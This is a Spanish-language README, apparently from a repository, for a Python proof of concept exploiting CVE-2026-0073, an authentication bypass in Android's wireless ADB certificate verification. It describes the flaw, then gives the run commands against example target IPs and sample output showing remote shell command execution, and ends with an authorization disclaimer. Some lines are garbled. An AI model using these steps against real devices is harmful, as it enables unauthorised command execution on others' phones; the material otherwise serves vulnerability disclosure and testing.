
CVE-2026-0073 - PoC de omisión de autenticación mutua inalámbrica de ADB
Este directorio contiene una prueba de concepto en Python para CVE-2026-0073.
El script se genera mediante técnicas de generación de código asistidas por IA.
CVE-2026-0073 es un problema de lógica en la verificación de certificados del daemon de ADB (adbd_tls_verify_cert en auth.cpp).
La comprobación vulnerable trata cualquier valor distinto de cero devuelto por EVP_PKEY_cmp(...) como una coincidencia exitosa.
El manejo esperado del resultado de la comparación debería ser:
1 = las claves coinciden0 = las claves no coincidenEn compilaciones vulnerables, los valores negativos se tratan como verdaderos y pueden marcar incorrectamente un certificado como autorizado.
poc-cve-2026-0073.pyEl script:
ec o ed25519).shell: con respaldo exec:).cryptographyInstalar la dependencia:
pip install cryptography
Descubrir el servicio ADB objetivo (si es necesario):
adb mdns services
Ejecutar el PoC:
python3 poc-cve-2026-0073.py <target_ip> [port] [command] [key_type] [--verbose]
Argumentos:
target_ip: Dirección IP del dispositivo Android objetivoport: Puerto ADB (predeterminado: 5555)command: Comando a ejecutar (predeterminado: id)key_type: ec o ed25519 (predeterminado: ec)--verbose: Habilita registros de depuración del protocoloEjemplos:
python3 poc-cve-2026-0073.py 192.168.1.100 5555 id
python3 poc-cve-2026-0073.py 192.168.1.100 5555 whoami ec --verbose
python3 poc-cve-2026-0073.py 192.168.1.100 5555 getprop ed25519
[*] Opening service: 'shell:id'
[*] After OPEN, received: OKAY arg0=2 data=b''
[+] Stream open (local_id=1, remote_id=2)
[+] Command output:
----------------------------------------
uid=2000(shell) gid=2000(shell) ...
----------------------------------------
[+] Exploitation successful.
Connection refused
certificate_unknown
Tiempo de espera agotado al esperar respuestas
--verbose para obtener trazas a nivel de paquetes.El nivel de parche de seguridad base del sistema operativo y el parcheo de módulos Mainline pueden diferir. Un dispositivo puede mostrar un SPL mensual más antiguo mientras recibe correcciones más recientes del módulo ADB.
Comprobaciones útiles:
adb shell getprop ro.build.version.security_patch
adb shell pm list packages --apex-only | grep adbd
adb shell dumpsys package com.google.android.adbd | grep -E "versionCode|versionName|lastUpdateTime"
Utilice este PoC únicamente en entornos autorizados (dispositivos de laboratorio propios, permiso explícito o pruebas sancionadas). No lo ejecute contra sistemas que no posea o para los que no tenga autorización escrita para probar.
daemon/auth.cpp)